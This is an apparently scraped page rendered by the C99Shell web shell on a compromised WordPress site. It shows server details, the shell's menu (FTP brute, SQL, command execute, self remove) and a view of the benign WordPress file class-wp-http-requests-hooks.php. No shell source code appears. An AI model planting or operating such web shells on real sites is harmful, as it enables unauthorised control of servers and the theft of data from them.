!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.18.0. PHP/7.4.29 

uname -a: Linux ip-172-31-23-220 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/srishticampus.in/wp-includes/   drwxrwxr-x
Free 39.75 GB of 48.28 GB (82.34%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class-wp-http-requests-hooks.php (1.94 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * HTTP API: Requests hook bridge class
 *
 * @package WordPress
 * @subpackage HTTP
 * @since 4.7.0
 */

/**
 * Bridge to connect Requests internal hooks to WordPress actions.
 *
 * @since 4.7.0
 *
 * @see Requests_Hooks
 */
class WP_HTTP_Requests_Hooks extends Requests_Hooks {
    
/**
     * Requested URL.
     *
     * @var string Requested URL.
     */
    
protected $url;

    
/**
     * WordPress WP_HTTP request data.
     *
     * @var array Request data in WP_Http format.
     */
    
protected $request = array();

    
/**
     * Constructor.
     *
     * @param string $url     URL to request.
     * @param array  $request Request data in WP_Http format.
     */
    
public function __construct$url$request ) {
        
$this->url     $url;
        
$this->request $request;
    }

    
/**
     * Dispatch a Requests hook to a native WordPress action.
     *
     * @param string $hook       Hook name.
     * @param array  $parameters Parameters to pass to callbacks.
     * @return bool True if hooks were run, false if nothing was hooked.
     */
    
public function dispatch$hook$parameters = array() ) {
        
$result parent::dispatch$hook$parameters );

        
// Handle back-compat actions.
        
switch ( $hook ) {
            case 
'curl.before_send':
                
/** This action is documented in wp-includes/class-wp-http-curl.php */
                
do_action_ref_array'http_api_curl', array( &$parameters[0], $this->request$this->url ) );
                break;
        }

        
/**
         * Transforms a native Request hook to a WordPress action.
         *
         * This action maps Requests internal hook to a native WordPress action.
         *
         * @see https://github.com/WordPress/Requests/blob/master/docs/hooks.md
         *
         * @since 4.7.0
         *
         * @param array $parameters Parameters from Requests internal hook.
         * @param array $request Request data in WP_Http format.
         * @param string $url URL to request.
         */
        
do_action_ref_array"requests-{$hook}"$parameters$this->request$this->url ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

        
return $result;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0059 ]--